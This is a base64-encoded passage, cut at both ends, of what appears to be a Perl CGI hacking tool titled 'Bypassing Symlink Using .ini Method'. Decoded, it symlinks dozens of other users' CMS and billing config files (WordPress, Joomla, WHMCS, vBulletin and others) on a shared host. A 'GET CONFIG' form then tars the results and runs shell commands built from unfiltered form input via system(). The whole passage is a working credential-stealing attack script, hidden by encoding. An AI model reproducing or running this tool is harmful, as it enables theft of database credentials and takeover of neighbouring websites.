Jy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+aG9zdC5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmhvc3RpbmcuaW5pJyk7DQogc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0cy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+aG9zdHMuaW5pJyk7DQogc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PnplbmNhcnQuaW5pJyk7IA0KIHN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PnplbmNhcnQtc2hvcC5pbmknKTsgDQogc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+c2hvcC1aQ3Nob3AuaW5pJyk7IA0KIHN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fj5tay1wb3J0YWxlMS5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLmluaScpOyANCiBzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3NtZi9TZXR0aW5ncy5waHAnLCRkb21haW4uJ35+PnNtZi1zbWYuaW5pJyk7IA0KIHN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU2V0dGluZ3MucGhwJywkZG9tYWluLid+fj5zbWYtZm9ydW0uaW5pJyk7IA0KIHN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLWZvcnVtcy5pbmknKTsgDQogc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC91cGxvYWQvaW5jbHVkZXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+dXBsb2FkLmluaScpOw0KIHN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbC9jb25maWcucGhwJywkZG9tYWluLid+fj5tYWxheS5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGVudHMuaW5pJyk7DQogc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRlL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGllbnQyLmluaScpOw0KIHN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50LmluaScpOw0KIHN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnL2tvbmVrc2kucGhwJywkZG9tYWluLid+fj5sb2tvbWVkaWEuaW5pJyk7DQogc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkZG9tYWluLid+fj53ZWJjb25maWcuaW5pJyk7DQogc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGRvbWFpbi4nfn4+d2ViY29uZmlnMi5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3N5c3RlbS9zaXN0ZW0ucGhwJywkZG9tYWluLid+fj5sb2tvbWVkaWExLmluaScpOyANCiBzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3N5c3RlbS9zaXN0ZW0ucGhwJywkZG9tYWluLid+fj5sb2tvbWVkaWEuaW5pJyk7DQogc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJGRvbWFpbi4nfj5EcnVwYWwuaW5pJyk7DQogc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9lMTA3X2NvbmZpZy5waHAnLCRkb21haW4uJ34+ZTEwNy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2RhdGFzL2NvbmZpZy5waHAnLCRkb21haW4uJ34+U2VkaXRpby5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL1NTSS5waHAnLCRkb21haW4uJ35+PkNNRi5pbmknKSA7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGRvbWFpbi4nfn4+Q01GLWZvcnVtLmluaScpIDsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+TXlCQi5pbmknKSA7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+TXlCQi1mb3J1bS5pbmknKSA7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkZG9tYWluLid+fj5PdGhlci5pbmknKSA7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRkb21haW4uJ35+PmludmlzaW8uaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9saWIvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+QmFsaXRiYW5nLmluaScpIDsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50cy5pbmknKSA7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50LmluaScpIDsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5iaWxsaW5nLmluaScpIDsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+YmlsbGluZ3MuaW5pJykgOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+UGhwQkItZm9ydW0uaW5pJykgOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGRvbWFpbi4nfn4+cGhwYmIzLmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PndobWNzLmluaScpIDsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PndobS5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PndobWMuaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywkZG9tYWluLid+fj53aG1jczIuaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pm1hbmdld2htY3MuaW5pJyk7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PldobTkuaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teXNob3AvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pm15c2hvcC5pbmknKTsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5zdXBwb3J0LmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydHMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PnN1cHBvcnRzLmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5vc2NvbW1lcmNlLmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+b3Njb21tZXJjZXMuaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaG9wcGluZy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5zaG9wLXNob3BwaW5nLmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc2FsZS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5zYWxlLmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGRvbWFpbi4nfn4+YW1lbWJlci5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5pbmMucGhwJywkZG9tYWluLid+fj5hbWVtYmVyMi5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy5pbmknKSA7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXdwLmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AvYmV0YS93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd3AtYmV0YS5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLWJldGEuaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53cDEzLXByZXNzLmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy13b3JkcHJlc3MuaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd29yZHByZXNzLWJldGEuaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1uZXdzLmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1uZXcuaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy5pbmknKSA7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2ViL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy13ZWIuaW5pJykgOyANCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1ibG9ncy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLWhvbWUuaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXByb3RhbC5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+b3JkcHJlc3Mtc2l0ZS5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLW1haW4uaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC90ZXN0L3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy10ZXN0LmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLmluaScpIDsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1ob21lLmluaScpIDsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLWpvb21sYS5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb3RhbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLXByb3RhbC5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLWpvby5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2Ntcy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLWNtcy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1zaXRlLmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLW1haW4uaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtbmV3cy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLW5ldy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1ob21lLmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+VkJ1bGxldGluLWZvcnVtLmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+dmIuaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+dmIzLmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY3BhbmVsL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jcGFuZWwuaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+cGFuZWwuaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0L2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5ob3N0LmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+aG9zdGluZy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5ob3N0cy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+emVuY2FydC5pbmknKTsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC96ZW5jYXJ0L2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+emVuY2FydC1zaG9wLmluaScpOyANCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5zaG9wLVpDc2hvcC5pbmknKTsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJHBkb21haW4uJ35+Pm1rLXBvcnRhbGUxLmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywkZG9tYWluLid+fj5zbWYuaW5pJyk7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc21mL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLXNtZi5pbmknKTsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRkb21haW4uJ35+PnNtZi1mb3J1bS5pbmknKTsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bXMvU2V0dGluZ3MucGhwJywkZG9tYWluLid+fj5zbWYtZm9ydW1zLmluaScpOyANCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj51cGxvYWQuaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pm1hbGF5LmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsZW50cy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGUvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudDIuaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGllbnQuaW5pJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcva29uZWtzaS5waHAnLCRkb21haW4uJ35+Pmxva29tZWRpYS5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PndlYmNvbmZpZy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywkZG9tYWluLid+fj53ZWJjb25maWcyLmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3lzdGVtL3Npc3RlbS5waHAnLCRkb21haW4uJ35+Pmxva29tZWRpYTEuaW5pJyk7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvc3lzdGVtL3Npc3RlbS5waHAnLCRkb21haW4uJ35+Pmxva29tZWRpYS5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywkZG9tYWluLid+PkRydXBhbC5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2UxMDdfY29uZmlnLnBocCcsJGRvbWFpbi4nfj5lMTA3LmluaScpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvZGF0YXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfj5TZWRpdGlvLmluaScpOw0KfQ0KaWYgKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgJ1BPU1QnKSB7DQogIHJlYWQoU1RESU4sICRidWZmZXIsICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KfSBlbHNlIHsNCiAgJGJ1ZmZlciA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KfQ0KQHBhaXJzID0gc3BsaXQoLyYvLCAkYnVmZmVyKTsNCmZvcmVhY2ggJHBhaXIgKEBwYWlycykgew0KICAoJG5hbWUsICR2YWx1ZSkgPSBzcGxpdCgvPS8sICRwYWlyKTsNCiAgJG5hbWUgPX4gdHIvKy8gLzsNCiAgJG5hbWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiAgJHZhbHVlID1+IHRyLysvIC87DQogICR2YWx1ZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkRk9STXskbmFtZX0gPSAkdmFsdWU7DQp9DQppZiAoJEZPUk17cGFzc30gZXEgIiIpew0KcHJpbnQgJw0KPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzAwMDAwMCI+DQo8cD5CeXBhc3NpbmcgU3ltbGluayBVc2luZyAuaW5pIE1ldGhvZCA8L3A+DQo8cD48Zm9udCBjb2xvcj0iI0MwQzBDMCI+WzwvZm9udD4gQ29kZWQgQnkgPGZvbnQgY29sb3I9IiNGRjAwMDAiPlgtMU43M0NUPC9mb250Pjxmb250IGNvbG9yPSIjQzBDMEMwIj5dPC9mb250Pg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0ZXh0YXJlYSBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwZmYwMDsgd2lkdGg6IDU0M3B4OyBoZWlnaHQ6IDQyMHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I0ZGMDAwMCIgID48L3RleHRhcmVhPjwvcD4NCjxwIGFsaWduPSJjZW50ZXIiPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9ImJvcmRlcjoxcHggZG90dGVkICNGRjAwMDA7IHdpZHRoOiAyMTJweDsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZTo4cHQ7IGNvbG9yOiNGRjAwMDA7ICIgIC8+PC9wPg0KPHAgYWxpZ249ImNlbnRlciI+DQo8aW5wdXQgbmFtZT0iU3VibWl0MSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR0VUIENPTkZJRyAhIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgI0ZGMDAwMDsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjojNTlFODE3OyB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDIiAvPjwvcD4NCjwvZm9ybT4nOw0KfWVsc2V7DQpAbGluZXMgPTwkRk9STXtwYXNzfT47DQokeSA9IEBsaW5lczsNCm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7DQpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOw0KZm9yICgka2E9MDska2E8JHk7JGthKyspew0Kd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7DQombGlsKCQxKTsNCnByaW50IE1ZRklMRSAkMS4iLnR4dCAiOw0KZm9yKCRrZD0xOyRrZDwxODska2QrKyl7DQpwcmludCBNWUZJTEUgJDEuJGtkLiIudHh0ICI7DQp9DQp9DQogfQ0KcHJpbnQnPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzAwMDAwMCI+DQo8cD5Zb3UgZ290IGl0ISE8YnI+PGJyPjxicj48Zm9udCBjb2xvcj0iI0MwQzBDMCI+WzwvZm9udD4gQ29kZWQgQnkgPGZvbnQgY29sb3I9IiNGRjAwMDAiPlgtMU43M0NUPC9mb250Pjxmb250IGNvbG9yPSIjQzBDMEMwIj5dPC9mb250PjwvcD4NCjxwPiZuYnNwOzwvcD4nOw0KaWYoJEZPUk17dGFyfSBuZSAiIil7DQpvcGVuKElORk8sICJ0YXIudG1wIik7DQpAbGluZXMgPTxJTkZPPiA7DQpjbG9zZShJTkZPKTsNCnN5c3RlbShAbGluZXMpOw0KcHJpbnQnPHA+PGEgaHJlZj0iJy4kRk9STXt0YXJ9LicudGFyIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+DQo8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5DbGljayBIZXJlIFRvIERvd25sb2FkIFRhciBGaWxlPC9zcGFuPjwvZ